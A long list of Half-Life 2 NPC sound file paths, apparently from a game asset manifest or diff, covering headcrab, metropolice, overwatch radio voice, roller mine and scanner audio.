+npc/headcrab_fast/attack2.wav +npc/headcrab_fast/attack3.wav +npc/headcrab_fast/die1.wav +npc/headcrab_fast/die2.wav +npc/headcrab_fast/headbite.wav +npc/headcrab_fast/idle1.wav +npc/headcrab_fast/idle2.wav +npc/headcrab_fast/idle3.wav +npc/headcrab_fast/pain1.wav +npc/headcrab_fast/pain2.wav +npc/headcrab_fast/pain3.wav +npc/headcrab_poison/ph_hiss1.wav +npc/headcrab_poison/ph_idle1.wav +npc/headcrab_poison/ph_idle2.wav +npc/headcrab_poison/ph_idle3.wav +npc/headcrab_poison/ph_jump1.wav +npc/headcrab_poison/ph_jump2.wav +npc/headcrab_poison/ph_jump3.wav +npc/headcrab_poison/ph_pain1.wav +npc/headcrab_poison/ph_pain2.wav +npc/headcrab_poison/ph_pain3.wav +npc/headcrab_poison/ph_poisonbite1.wav +npc/headcrab_poison/ph_poisonbite2.wav +npc/headcrab_poison/ph_poisonbite3.wav +npc/headcrab_poison/ph_rattle1.wav +npc/headcrab_poison/ph_rattle2.wav +npc/headcrab_poison/ph_rattle3.wav +npc/headcrab_poison/ph_scream1.wav +npc/headcrab_poison/ph_scream2.wav +npc/headcrab_poison/ph_scream3.wav +npc/headcrab_poison/ph_step1.wav +npc/headcrab_poison/ph_step2.wav +npc/headcrab_poison/ph_step3.wav +npc/headcrab_poison/ph_step4.wav +npc/headcrab_poison/ph_talk1.wav +npc/headcrab_poison/ph_talk2.wav +npc/headcrab_poison/ph_talk3.wav +npc/headcrab_poison/ph_wallhit1.wav +npc/headcrab_poison/ph_wallhit2.wav +npc/headcrab_poison/ph_wallpain1.wav +npc/headcrab_poison/ph_wallpain2.wav +npc/headcrab_poison/ph_wallpain3.wav +npc/headcrab_poison/ph_warning1.wav +npc/headcrab_poison/ph_warning2.wav +npc/headcrab_poison/ph_warning3.wav +npc/ichthyosaur/attack_growl1.wav +npc/ichthyosaur/attack_growl2.wav +npc/ichthyosaur/attack_growl3.wav +npc/ichthyosaur/snap.wav +npc/ichthyosaur/snap_miss.wav +npc/ichthyosaur/water_breath.wav +npc/ichthyosaur/water_growl5.wav +npc/manhack/bat_away.wav +npc/manhack/gib.wav +npc/manhack/grind1.wav +npc/manhack/grind2.wav +npc/manhack/grind3.wav +npc/manhack/grind4.wav +npc/manhack/grind5.wav +npc/manhack/grind_flesh1.wav +npc/manhack/grind_flesh2.wav +npc/manhack/grind_flesh3.wav +npc/manhack/mh_blade_loop1.wav +npc/manhack/mh_blade_snick1.wav +npc/manhack/mh_engine_loop1.wav +npc/manhack/mh_engine_loop2.wav +npc/metropolice/die1.wav +npc/metropolice/die2.wav +npc/metropolice/die3.wav +npc/metropolice/die4.wav +npc/metropolice/gear1.wav +npc/metropolice/gear2.wav +npc/metropolice/gear3.wav +npc/metropolice/gear4.wav +npc/metropolice/gear5.wav +npc/metropolice/gear6.wav +npc/metropolice/hiding02.wav +npc/metropolice/hiding03.wav +npc/metropolice/hiding04.wav +npc/metropolice/hiding05.wav +npc/metropolice/knockout2.wav +npc/metropolice/pain1.wav +npc/metropolice/pain2.wav +npc/metropolice/pain3.wav +npc/metropolice/pain4.wav +npc/metropolice/takedown.wav +npc/metropolice/vo/11-99officerneedsassistance.wav +npc/metropolice/vo/404zone.wav +npc/metropolice/vo/acquiringonvisual.wav +npc/metropolice/vo/administer.wav +npc/metropolice/vo/affirmative.wav +npc/metropolice/vo/affirmative2.wav +npc/metropolice/vo/airwatchsubjectis505.wav +npc/metropolice/vo/allrightyoucango.wav +npc/metropolice/vo/allunitsbol34sat.wav +npc/metropolice/vo/allunitscloseonsuspect.wav +npc/metropolice/vo/allunitscode2.wav +npc/metropolice/vo/allunitsmaintainthiscp.wav +npc/metropolice/vo/allunitsmovein.wav +npc/metropolice/vo/allunitsreportlocationsuspect.wav +npc/metropolice/vo/allunitsrespondcode3.wav +npc/metropolice/vo/amputate.wav +npc/metropolice/vo/anticitizen.wav +npc/metropolice/vo/anyonepickup647e.wav +npc/metropolice/vo/apply.wav +npc/metropolice/vo/assaultpointsecureadvance.wav +npc/metropolice/vo/atcheckpoint.wav +npc/metropolice/vo/backmeupImout.wav +npc/metropolice/vo/backup.wav +npc/metropolice/vo/block.wav +npc/metropolice/vo/blockisholdingcohesive.wav +npc/metropolice/vo/breakhiscover.wav +npc/metropolice/vo/bugs.wav +npc/metropolice/vo/bugsontheloose.wav +npc/metropolice/vo/canal.wav +npc/metropolice/vo/canalblock.wav +npc/metropolice/vo/catchthatbliponstabilization.wav +npc/metropolice/vo/cauterize.wav +npc/metropolice/vo/checkformiscount.wav +npc/metropolice/vo/chuckle.wav +npc/metropolice/vo/citizen.wav +npc/metropolice/vo/citizensummoned.wav +npc/metropolice/vo/classifyasdbthisblockready.wav +npc/metropolice/vo/clearandcode100.wav +npc/metropolice/vo/clearno647no10-107.wav +npc/metropolice/vo/code100.wav +npc/metropolice/vo/code7.wav +npc/metropolice/vo/condemnedzone.wav +npc/metropolice/vo/confirmadw.wav +npc/metropolice/vo/confirmpriority1sighted.wav +npc/metropolice/vo/contactwith243suspect.wav +npc/metropolice/vo/contactwithpriority2.wav +npc/metropolice/vo/control100percent.wav +npc/metropolice/vo/controlsection.wav +npc/metropolice/vo/converging.wav +npc/metropolice/vo/copy.wav +npc/metropolice/vo/covermegoingin.wav +npc/metropolice/vo/cpbolforthat243.wav +npc/metropolice/vo/cpiscompromised.wav +npc/metropolice/vo/cpisoverrunwehavenocontainment.wav +npc/metropolice/vo/cprequestsallunitsreportin.wav +npc/metropolice/vo/cpweneedtoestablishaperimeterat.wav +npc/metropolice/vo/criminaltrespass63.wav +npc/metropolice/vo/dbcountis.wav +npc/metropolice/vo/defender.wav +npc/metropolice/vo/deservicedarea.wav +npc/metropolice/vo/designatesuspectas.wav +npc/metropolice/vo/destroythatcover.wav +npc/metropolice/vo/dismountinghardpoint.wav +npc/metropolice/vo/dispatchIneed10-78.wav +npc/metropolice/vo/dispreportssuspectincursion.wav +npc/metropolice/vo/dispupdatingapb.wav +npc/metropolice/vo/distributionblock.wav +npc/metropolice/vo/document.wav +npc/metropolice/vo/dontmove.wav +npc/metropolice/vo/eight.wav +npc/metropolice/vo/eighteen.wav +npc/metropolice/vo/eighty.wav +npc/metropolice/vo/eleven.wav +npc/metropolice/vo/establishnewcp.wav +npc/metropolice/vo/examine.wav +npc/metropolice/vo/expired.wav +npc/metropolice/vo/externaljurisdiction.wav +npc/metropolice/vo/fifteen.wav +npc/metropolice/vo/fifty.wav +npc/metropolice/vo/finalverdictadministered.wav +npc/metropolice/vo/finalwarning.wav +npc/metropolice/vo/firetodislocateinterpose.wav +npc/metropolice/vo/firingtoexposetarget.wav +npc/metropolice/vo/firstwarningmove.wav +npc/metropolice/vo/five.wav +npc/metropolice/vo/four.wav +npc/metropolice/vo/fourteen.wav +npc/metropolice/vo/fourty.wav +npc/metropolice/vo/freeman.wav +npc/metropolice/vo/freenecrotics.wav +npc/metropolice/vo/get11-44inboundcleaningup.wav +npc/metropolice/vo/getdown.wav +npc/metropolice/vo/getoutofhere.wav +npc/metropolice/vo/goingtotakealook.wav +npc/metropolice/vo/gota10-107sendairwatch.wav +npc/metropolice/vo/gothimagainsuspect10-20at.wav +npc/metropolice/vo/gotoneaccomplicehere.wav +npc/metropolice/vo/gotsuspect1here.wav +npc/metropolice/vo/grenade.wav +npc/metropolice/vo/hardpointscanning.wav +npc/metropolice/vo/help.wav +npc/metropolice/vo/hero.wav +npc/metropolice/vo/hesgone148.wav +npc/metropolice/vo/hesrunning.wav +npc/metropolice/vo/hesupthere.wav +npc/metropolice/vo/hidinglastseenatrange.wav +npc/metropolice/vo/highpriorityregion.wav +npc/metropolice/vo/holdingon10-14duty.wav +npc/metropolice/vo/holdit.wav +npc/metropolice/vo/holditrightthere.wav +npc/metropolice/vo/holdthisposition.wav +npc/metropolice/vo/Ihave10-30my10-20responding.wav +npc/metropolice/vo/industrialzone.wav +npc/metropolice/vo/infection.wav +npc/metropolice/vo/infestedzone.wav +npc/metropolice/vo/inject.wav +npc/metropolice/vo/innoculate.wav +npc/metropolice/vo/inposition.wav +npc/metropolice/vo/inpositionathardpoint.wav +npc/metropolice/vo/inpositiononeready.wav +npc/metropolice/vo/intercede.wav +npc/metropolice/vo/interlock.wav +npc/metropolice/vo/investigate.wav +npc/metropolice/vo/investigating10-103.wav +npc/metropolice/vo/is10-108.wav +npc/metropolice/vo/is415b.wav +npc/metropolice/vo/Isaidmovealong.wav +npc/metropolice/vo/isathardpointreadytoprosecute.wav +npc/metropolice/vo/isclosingonsuspect.wav +npc/metropolice/vo/isdown.wav +npc/metropolice/vo/isgo.wav +npc/metropolice/vo/ismovingin.wav +npc/metropolice/vo/isolate.wav +npc/metropolice/vo/ispassive.wav +npc/metropolice/vo/isreadytogo.wav +npc/metropolice/vo/issuingmalcompliantcitation.wav +npc/metropolice/vo/Ivegot408hereatlocation.wav +npc/metropolice/vo/jury.wav +npc/metropolice/vo/keepmoving.wav +npc/metropolice/vo/king.wav +npc/metropolice/vo/level3civilprivacyviolator.wav +npc/metropolice/vo/line.wav +npc/metropolice/vo/localcptreportstatus.wav +npc/metropolice/vo/location.wav +npc/metropolice/vo/lock.wav +npc/metropolice/vo/lockyourposition.wav +npc/metropolice/vo/lookingfortrouble.wav +npc/metropolice/vo/lookout.wav +npc/metropolice/vo/lookoutrogueviscerator.wav +npc/metropolice/vo/looseparasitics.wav +npc/metropolice/vo/loyaltycheckfailure.wav +npc/metropolice/vo/malcompliant10107my1020.wav +npc/metropolice/vo/malignant.wav +npc/metropolice/vo/matchonapblikeness.wav +npc/metropolice/vo/meters.wav +npc/metropolice/vo/minorhitscontinuing.wav +npc/metropolice/vo/move.wav +npc/metropolice/vo/movealong.wav +npc/metropolice/vo/movealong3.wav +npc/metropolice/vo/movebackrightnow.wav +npc/metropolice/vo/moveit.wav +npc/metropolice/vo/moveit2.wav +npc/metropolice/vo/movetoarrestpositions.wav +npc/metropolice/vo/movingtocover.wav +npc/metropolice/vo/movingtohardpoint.wav +npc/metropolice/vo/movingtohardpoint2.wav +npc/metropolice/vo/necrotics.wav +npc/metropolice/vo/needanyhelpwiththisone.wav +npc/metropolice/vo/nine.wav +npc/metropolice/vo/nineteen.wav +npc/metropolice/vo/ninety.wav +npc/metropolice/vo/nocontact.wav +npc/metropolice/vo/non-taggedviromeshere.wav +npc/metropolice/vo/noncitizen.wav +npc/metropolice/vo/nonpatrolregion.wav +npc/metropolice/vo/novisualonupi.wav +npc/metropolice/vo/nowgetoutofhere.wav +npc/metropolice/vo/off1.wav +npc/metropolice/vo/off2.wav +npc/metropolice/vo/off3.wav +npc/metropolice/vo/off4.wav +npc/metropolice/vo/officerdowncode3tomy10-20.wav +npc/metropolice/vo/officerdownIam10-99.wav +npc/metropolice/vo/officerneedsassistance.wav +npc/metropolice/vo/officerneedshelp.wav +npc/metropolice/vo/officerunderfiretakingcover.wav +npc/metropolice/vo/on1.wav +npc/metropolice/vo/on2.wav +npc/metropolice/vo/one.wav +npc/metropolice/vo/onehundred.wav +npc/metropolice/vo/outbreak.wav +npc/metropolice/vo/outlandbioticinhere.wav +npc/metropolice/vo/outlandzone.wav +npc/metropolice/vo/pacifying.wav +npc/metropolice/vo/patrol.wav +npc/metropolice/vo/pickingupnoncorplexindy.wav +npc/metropolice/vo/pickupthecan1.wav +npc/metropolice/vo/pickupthecan2.wav +npc/metropolice/vo/pickupthecan3.wav +npc/metropolice/vo/positiontocontain.wav +npc/metropolice/vo/possible10-103alerttagunits.wav +npc/metropolice/vo/possible404here.wav +npc/metropolice/vo/possible647erequestairwatch.wav +npc/metropolice/vo/possiblelevel3civilprivacyviolator.wav +npc/metropolice/vo/preparefor1015.wav +npc/metropolice/vo/prepareforjudgement.wav +npc/metropolice/vo/preparingtojudge10-107.wav +npc/metropolice/vo/preserve.wav +npc/metropolice/vo/pressure.wav +npc/metropolice/vo/priority2anticitizenhere.wav +npc/metropolice/vo/proceedtocheckpoints.wav +npc/metropolice/vo/productionblock.wav +npc/metropolice/vo/prosecute.wav +npc/metropolice/vo/protectioncomplete.wav +npc/metropolice/vo/ptatlocationreport.wav +npc/metropolice/vo/ptgoagain.wav +npc/metropolice/vo/putitinthetrash1.wav +npc/metropolice/vo/putitinthetrash2.wav +npc/metropolice/vo/quick.wav +npc/metropolice/vo/readytoamputate.wav +npc/metropolice/vo/readytojudge.wav +npc/metropolice/vo/readytoprosecute.wav +npc/metropolice/vo/readytoprosecutefinalwarning.wav +npc/metropolice/vo/reinforcementteamscode3.wav +npc/metropolice/vo/reportsightingsaccomplices.wav +npc/metropolice/vo/repurposedarea.wav +npc/metropolice/vo/requestsecondaryviscerator.wav +npc/metropolice/vo/residentialblock.wav +npc/metropolice/vo/responding2.wav +npc/metropolice/vo/restrict.wav +npc/metropolice/vo/restrictedblock.wav +npc/metropolice/vo/rodgerthat.wav +npc/metropolice/vo/roller.wav +npc/metropolice/vo/runninglowonverdicts.wav +npc/metropolice/vo/sacrificecode1maintaincp.wav +npc/metropolice/vo/search.wav +npc/metropolice/vo/searchingforsuspect.wav +npc/metropolice/vo/secondwarning.wav +npc/metropolice/vo/sector.wav +npc/metropolice/vo/sentencedelivered.wav +npc/metropolice/vo/serve.wav +npc/metropolice/vo/seven.wav +npc/metropolice/vo/seventeen.wav +npc/metropolice/vo/seventy.wav +npc/metropolice/vo/shit.wav +npc/metropolice/vo/shotsfiredhostilemalignants.wav +npc/metropolice/vo/six.wav +npc/metropolice/vo/sixteen.wav +npc/metropolice/vo/sixty.wav +npc/metropolice/vo/sociocide.wav +npc/metropolice/vo/stabilizationjurisdiction.wav +npc/metropolice/vo/standardloyaltycheck.wav +npc/metropolice/vo/stationblock.wav +npc/metropolice/vo/sterilize.wav +npc/metropolice/vo/stick.wav +npc/metropolice/vo/stillgetting647e.wav +npc/metropolice/vo/stormsystem.wav +npc/metropolice/vo/subject.wav +npc/metropolice/vo/subjectis505.wav +npc/metropolice/vo/subjectisnowhighspeed.wav +npc/metropolice/vo/supsecthasmovednowto.wav +npc/metropolice/vo/suspect11-6my1020is.wav +npc/metropolice/vo/suspectinstormrunoff.wav +npc/metropolice/vo/suspectisbleeding.wav +npc/metropolice/vo/suspectlocationunknown.wav +npc/metropolice/vo/suspectusingrestrictedcanals.wav +npc/metropolice/vo/suspend.wav +npc/metropolice/vo/sweepingforsuspect.wav +npc/metropolice/vo/tag10-91d.wav +npc/metropolice/vo/tagonebug.wav +npc/metropolice/vo/tagonenecrotic.wav +npc/metropolice/vo/tagoneparasitic.wav +npc/metropolice/vo/takecover.wav +npc/metropolice/vo/tap.wav +npc/metropolice/vo/teaminpositionadvance.wav +npc/metropolice/vo/ten.wav +npc/metropolice/vo/ten2.wav +npc/metropolice/vo/ten4.wav +npc/metropolice/vo/ten8standingby.wav +npc/metropolice/vo/ten91dcountis.wav +npc/metropolice/vo/ten97.wav +npc/metropolice/vo/ten97suspectisgoa.wav +npc/metropolice/vo/tenzerovisceratorishunting.wav +npc/metropolice/vo/terminalrestrictionzone.wav +npc/metropolice/vo/thatsagrenade.wav +npc/metropolice/vo/therehegoeshesat.wav +npc/metropolice/vo/thereheis.wav +npc/metropolice/vo/thirteen.wav +npc/metropolice/vo/thirty.wav +npc/metropolice/vo/thisisyoursecondwarning.wav +npc/metropolice/vo/three.wav +npc/metropolice/vo/threehundred.wav +npc/metropolice/vo/transitblock.wav +npc/metropolice/vo/twelve.wav +npc/metropolice/vo/twenty.wav +npc/metropolice/vo/two.wav +npc/metropolice/vo/twohundred.wav +npc/metropolice/vo/union.wav +npc/metropolice/vo/unitis10-65.wav +npc/metropolice/vo/unitis10-8standingby.wav +npc/metropolice/vo/unitisonduty10-8.wav +npc/metropolice/vo/unitreportinwith10-25suspect.wav +npc/metropolice/vo/unlawfulentry603.wav +npc/metropolice/vo/upi.wav +npc/metropolice/vo/utlsuspect.wav +npc/metropolice/vo/utlthatsuspect.wav +npc/metropolice/vo/vacatecitizen.wav +npc/metropolice/vo/vice.wav +npc/metropolice/vo/victor.wav +npc/metropolice/vo/visceratordeployed.wav +npc/metropolice/vo/visceratorisoc.wav +npc/metropolice/vo/visceratorisoffgrid.wav +npc/metropolice/vo/wasteriver.wav +npc/metropolice/vo/watchit.wav +npc/metropolice/vo/wearesociostablethislocation.wav +npc/metropolice/vo/wegotadbherecancel10-102.wav +npc/metropolice/vo/wehavea10-108.wav +npc/metropolice/vo/workforceintake.wav +npc/metropolice/vo/xray.wav +npc/metropolice/vo/yellow.wav +npc/metropolice/vo/youknockeditover.wav +npc/metropolice/vo/youwantamalcomplianceverdict.wav +npc/metropolice/vo/zero.wav +npc/metropolice/vo/zone.wav +npc/metropolice/vo/_comma.wav +npc/overwatch/cityvoice/fcitadel_10sectosingularity.wav +npc/overwatch/cityvoice/fcitadel_15sectosingularity.wav +npc/overwatch/cityvoice/fcitadel_1minutetosingularity.wav +npc/overwatch/cityvoice/fcitadel_2minutestosingularity.wav +npc/overwatch/cityvoice/fcitadel_30sectosingularity.wav +npc/overwatch/cityvoice/fcitadel_3minutestosingularity.wav +npc/overwatch/cityvoice/fcitadel_45sectosingularity.wav +npc/overwatch/cityvoice/fcitadel_confiscating.wav +npc/overwatch/cityvoice/fcitadel_confiscationfailure.wav +npc/overwatch/cityvoice/fcitadel_deploy.wav +npc/overwatch/cityvoice/fcitadel_transportsequence.wav +npc/overwatch/cityvoice/fprison_airwatchdispatched.wav +npc/overwatch/cityvoice/fprison_contactlostlandsea.wav +npc/overwatch/cityvoice/fprison_containexogens.wav +npc/overwatch/cityvoice/fprison_deployinb4.wav +npc/overwatch/cityvoice/fprison_deservicepoliticalconscripts.wav +npc/overwatch/cityvoice/fprison_detectionsystemsout.wav +npc/overwatch/cityvoice/fprison_dropforcesixandeight.wav +npc/overwatch/cityvoice/fprison_exogenbreach.wav +npc/overwatch/cityvoice/fprison_freemanlocated.wav +npc/overwatch/cityvoice/fprison_interfacebypass.wav +npc/overwatch/cityvoice/fprison_missionfailurereminder.wav +npc/overwatch/cityvoice/fprison_nonstandardexogen.wav +npc/overwatch/cityvoice/fprison_perimeterrestrictors.wav +npc/overwatch/cityvoice/fprison_restrictorsdisengaged.wav +npc/overwatch/cityvoice/f_anticitizenreport_spkr.wav +npc/overwatch/cityvoice/f_anticivil1_5_spkr.wav +npc/overwatch/cityvoice/f_anticivilevidence_3_spkr.wav +npc/overwatch/cityvoice/f_capitalmalcompliance_spkr.wav +npc/overwatch/cityvoice/f_ceaseevasionlevelfive_spkr.wav +npc/overwatch/cityvoice/f_citizenshiprevoked_6_spkr.wav +npc/overwatch/cityvoice/f_confirmcivilstatus_1_spkr.wav +npc/overwatch/cityvoice/f_evasionbehavior_2_spkr.wav +npc/overwatch/cityvoice/f_innactionisconspiracy_spkr.wav +npc/overwatch/cityvoice/f_localunrest_spkr.wav +npc/overwatch/cityvoice/f_protectionresponse_1_spkr.wav +npc/overwatch/cityvoice/f_protectionresponse_4_spkr.wav +npc/overwatch/cityvoice/f_protectionresponse_5_spkr.wav +npc/overwatch/cityvoice/f_rationunitsdeduct_3_spkr.wav +npc/overwatch/cityvoice/f_sociolevel1_4_spkr.wav +npc/overwatch/cityvoice/f_trainstation_assemble_spkr.wav +npc/overwatch/cityvoice/f_trainstation_assumepositions_spkr.wav +npc/overwatch/cityvoice/f_trainstation_cooperation_spkr.wav +npc/overwatch/cityvoice/f_trainstation_inform_spkr.wav +npc/overwatch/cityvoice/f_trainstation_offworldrelocation_spkr.wav +npc/overwatch/cityvoice/f_unrestprocedure1_spkr.wav +npc/overwatch/radiovoice/404zone.wav +npc/overwatch/radiovoice/accomplicesoperating.wav +npc/overwatch/radiovoice/administer.wav +npc/overwatch/radiovoice/airwatchcopiesnoactivity.wav +npc/overwatch/radiovoice/airwatchreportspossiblemiscount.wav +npc/overwatch/radiovoice/alarms62.wav +npc/overwatch/radiovoice/allteamsrespondcode3.wav +npc/overwatch/radiovoice/allunitsapplyforwardpressure.wav +npc/overwatch/radiovoice/allunitsat.wav +npc/overwatch/radiovoice/allunitsbeginwhitnesssterilization.wav +npc/overwatch/radiovoice/allunitsbolfor243suspect.wav +npc/overwatch/radiovoice/allunitsdeliverterminalverdict.wav +npc/overwatch/radiovoice/allunitsreturntocode12.wav +npc/overwatch/radiovoice/allunitsverdictcodeis.wav +npc/overwatch/radiovoice/allunitsverdictcodeonsuspect.wav +npc/overwatch/radiovoice/amputate.wav +npc/overwatch/radiovoice/anticitizen.wav +npc/overwatch/radiovoice/antifatigueration3mg.wav +npc/overwatch/radiovoice/apply.wav +npc/overwatch/radiovoice/assault243.wav +npc/overwatch/radiovoice/attemptedcrime27.wav +npc/overwatch/radiovoice/attention.wav +npc/overwatch/radiovoice/attentionyouhavebeenchargedwith.wav +npc/overwatch/radiovoice/beginscanning10-0.wav +npc/overwatch/radiovoice/block.wav +npc/overwatch/radiovoice/canalblock.wav +npc/overwatch/radiovoice/capitalmalcompliance.wav +npc/overwatch/radiovoice/cauterize.wav +npc/overwatch/radiovoice/citizen.wav +npc/overwatch/radiovoice/completesentencingatwill.wav +npc/overwatch/radiovoice/condemnedzone.wav +npc/overwatch/radiovoice/confirmupialert.wav +npc/overwatch/radiovoice/controlsection.wav +npc/overwatch/radiovoice/criminaltrespass63.wav +npc/overwatch/radiovoice/defender.wav +npc/overwatch/radiovoice/deservicedarea.wav +npc/overwatch/radiovoice/destrutionofcpt.wav +npc/overwatch/radiovoice/devisivesociocidal.wav +npc/overwatch/radiovoice/die1.wav +npc/overwatch/radiovoice/die2.wav +npc/overwatch/radiovoice/die3.wav +npc/overwatch/radiovoice/disassociationfromcivic.wav +npc/overwatch/radiovoice/disengaged647e.wav +npc/overwatch/radiovoice/distributionblock.wav +npc/overwatch/radiovoice/disturbancemental10-103m.wav +npc/overwatch/radiovoice/disturbingunity415.wav +npc/overwatch/radiovoice/document.wav +npc/overwatch/radiovoice/eight.wav +npc/overwatch/radiovoice/engagingteamisnoncohesive.wav +npc/overwatch/radiovoice/examine.wav +npc/overwatch/radiovoice/externaljurisdiction.wav +npc/overwatch/radiovoice/failuretocomply.wav +npc/overwatch/radiovoice/failuretotreatoutbreak.wav +npc/overwatch/radiovoice/finalverdictadministered.wav +npc/overwatch/radiovoice/five.wav +npc/overwatch/radiovoice/fmil_Region 073.wav +npc/overwatch/radiovoice/four.wav +npc/overwatch/radiovoice/freeman.wav +npc/overwatch/radiovoice/fugitive17f.wav +npc/overwatch/radiovoice/halfrankpoints.wav +npc/overwatch/radiovoice/halfreproductioncredits.wav +npc/overwatch/radiovoice/hero.wav +npc/overwatch/radiovoice/highpriorityregion.wav +npc/overwatch/radiovoice/illegalcarrying95.wav +npc/overwatch/radiovoice/illegalinoperation63s.wav +npc/overwatch/radiovoice/immediateamputation.wav +npc/overwatch/radiovoice/incitingpopucide.wav +npc/overwatch/radiovoice/industrialzone.wav +npc/overwatch/radiovoice/infection.wav +npc/overwatch/radiovoice/infestedzone.wav +npc/overwatch/radiovoice/inject.wav +npc/overwatch/radiovoice/innoculate.wav +npc/overwatch/radiovoice/inprogress.wav +npc/overwatch/radiovoice/intercede.wav +npc/overwatch/radiovoice/interlock.wav +npc/overwatch/radiovoice/investigate.wav +npc/overwatch/radiovoice/investigateandreport.wav +npc/overwatch/radiovoice/isnow.wav +npc/overwatch/radiovoice/isolate.wav +npc/overwatch/radiovoice/jury.wav +npc/overwatch/radiovoice/king.wav +npc/overwatch/radiovoice/leadersreportratios.wav +npc/overwatch/radiovoice/level5anticivilactivity.wav +npc/overwatch/radiovoice/line.wav +npc/overwatch/radiovoice/lock.wav +npc/overwatch/radiovoice/lockdownlocationsacrificecode.wav +npc/overwatch/radiovoice/lostbiosignalforunit.wav +npc/overwatch/radiovoice/nine.wav +npc/overwatch/radiovoice/noncitizen.wav +npc/overwatch/radiovoice/nonpatrolregion.wav +npc/overwatch/radiovoice/nonsanctionedarson51.wav +npc/overwatch/radiovoice/off2.wav +npc/overwatch/radiovoice/off4.wav +npc/overwatch/radiovoice/officerat.wav +npc/overwatch/radiovoice/officerclosingonsuspect.wav +npc/overwatch/radiovoice/on1.wav +npc/overwatch/radiovoice/on3.wav +npc/overwatch/radiovoice/one.wav +npc/overwatch/radiovoice/outlandzone.wav +npc/overwatch/radiovoice/patrol.wav +npc/overwatch/radiovoice/permanentoffworld.wav +npc/overwatch/radiovoice/politistablizationmarginal.wav +npc/overwatch/radiovoice/posession69.wav +npc/overwatch/radiovoice/prematuremissiontermination.wav +npc/overwatch/radiovoice/prepareforfinalsentencing.wav +npc/overwatch/radiovoice/preparetoinnoculate.wav +npc/overwatch/radiovoice/preparetoreceiveverdict.wav +npc/overwatch/radiovoice/preparevisualdownload.wav +npc/overwatch/radiovoice/preserve.wav +npc/overwatch/radiovoice/pressure.wav +npc/overwatch/radiovoice/productionblock.wav +npc/overwatch/radiovoice/promotingcommunalunrest.wav +npc/overwatch/radiovoice/prosecute.wav +npc/overwatch/radiovoice/publicnoncompliance507.wav +npc/overwatch/radiovoice/quick.wav +npc/overwatch/radiovoice/recalibratesocioscan.wav +npc/overwatch/radiovoice/recievingconflictingdata.wav +npc/overwatch/radiovoice/recklessoperation99.wav +npc/overwatch/radiovoice/reinforcementteamscode3.wav +npc/overwatch/radiovoice/remainingunitscontain.wav +npc/overwatch/radiovoice/reminder100credits.wav +npc/overwatch/radiovoice/remindermemoryreplacement.wav +npc/overwatch/radiovoice/reporton.wav +npc/overwatch/radiovoice/reportplease.wav +npc/overwatch/radiovoice/repurposedarea.wav +npc/overwatch/radiovoice/residentialblock.wav +npc/overwatch/radiovoice/resistingpacification148.wav +npc/overwatch/radiovoice/respond.wav +npc/overwatch/radiovoice/restrict.wav +npc/overwatch/radiovoice/restrictedblock.wav +npc/overwatch/radiovoice/restrictedincursioninprogress.wav +npc/overwatch/radiovoice/rewardnotice.wav +npc/overwatch/radiovoice/riot404.wav +npc/overwatch/radiovoice/roller.wav +npc/overwatch/radiovoice/search.wav +npc/overwatch/radiovoice/sector.wav +npc/overwatch/radiovoice/serve.wav +npc/overwatch/radiovoice/seven.wav +npc/overwatch/radiovoice/six.wav +npc/overwatch/radiovoice/socialfractureinprogress.wav +npc/overwatch/radiovoice/sociocide.wav +npc/overwatch/radiovoice/sociostabilizationrestored.wav +npc/overwatch/radiovoice/stabilizationjurisdiction.wav +npc/overwatch/radiovoice/stationblock.wav +npc/overwatch/radiovoice/statuson243suspect.wav +npc/overwatch/radiovoice/sterilize.wav +npc/overwatch/radiovoice/stick.wav +npc/overwatch/radiovoice/stormsystem.wav +npc/overwatch/radiovoice/subject.wav +npc/overwatch/radiovoice/suspectisnow187.wav +npc/overwatch/radiovoice/suspectmalignantverdictcodeis.wav +npc/overwatch/radiovoice/suspend.wav +npc/overwatch/radiovoice/suspendnegotiations.wav +npc/overwatch/radiovoice/switchcomtotac3.wav +npc/overwatch/radiovoice/switchtotac5reporttocp.wav +npc/overwatch/radiovoice/tap.wav +npc/overwatch/radiovoice/teamsreportstatus.wav +npc/overwatch/radiovoice/terminalprosecution.wav +npc/overwatch/radiovoice/terminalrestrictionzone.wav +npc/overwatch/radiovoice/threattoproperty51b.wav +npc/overwatch/radiovoice/three.wav +npc/overwatch/radiovoice/transitblock.wav +npc/overwatch/radiovoice/two.wav +npc/overwatch/radiovoice/union.wav +npc/overwatch/radiovoice/unitdeserviced.wav +npc/overwatch/radiovoice/unitdownat.wav +npc/overwatch/radiovoice/unlawfulentry603.wav +npc/overwatch/radiovoice/upi.wav +npc/overwatch/radiovoice/vice.wav +npc/overwatch/radiovoice/victor.wav +npc/overwatch/radiovoice/violationofcivictrust.wav +npc/overwatch/radiovoice/wasteriver.wav +npc/overwatch/radiovoice/weapon94.wav +npc/overwatch/radiovoice/workforceintake.wav +npc/overwatch/radiovoice/xray.wav +npc/overwatch/radiovoice/yellow.wav +npc/overwatch/radiovoice/youarechargedwithterminal.wav +npc/overwatch/radiovoice/youarejudgedguilty.wav +npc/overwatch/radiovoice/zero.wav +npc/overwatch/radiovoice/zone.wav +npc/overwatch/radiovoice/_comma.wav +npc/roller/blade_cut.wav +npc/roller/blade_in.wav +npc/roller/blade_out.wav +npc/roller/code2.wav +npc/roller/remote_yes.wav +npc/roller/mine/combine_mine_active_loop1.wav +npc/roller/mine/combine_mine_deactivate1.wav +npc/roller/mine/combine_mine_deploy1.wav +npc/roller/mine/rmine_blades_in1.wav +npc/roller/mine/rmine_blades_in2.wav +npc/roller/mine/rmine_blades_in3.wav +npc/roller/mine/rmine_blades_out1.wav +npc/roller/mine/rmine_blades_out2.wav +npc/roller/mine/rmine_blades_out3.wav +npc/roller/mine/rmine_blip1.wav +npc/roller/mine/rmine_blip3.wav +npc/roller/mine/rmine_chirp_answer1.wav +npc/roller/mine/rmine_chirp_quest1.wav +npc/roller/mine/rmine_explode_shock1.wav +npc/roller/mine/rmine_movefast_loop1.wav +npc/roller/mine/rmine_moveslow_loop1.wav +npc/roller/mine/rmine_predetonate.wav +npc/roller/mine/rmine_seek_loop2.wav +npc/roller/mine/rmine_shockvehicle1.wav +npc/roller/mine/rmine_shockvehicle2.wav +npc/roller/mine/rmine_taunt1.wav +npc/roller/mine/rmine_taunt2.wav +npc/roller/mine/rmine_tossed1.wav +npc/scanner/cbot_discharge1.wav +npc/scanner/cbot_energyexplosion1.wav +npc/scanner/cbot_fly_loop.wav +npc/scanner/cbot_servochatter.wav +npc/scanner/cbot_servoscared.wav +npc/scanner/combat_scan1.wav +npc/scanner/combat_scan2.wav +npc/scanner/combat_scan3.wav +npc/scanner/combat_scan4.wav +npc/scanner/combat_scan5.wav +npc/scanner/combat_scan_loop1.wav +npc/scanner/combat_scan_loop2.wav 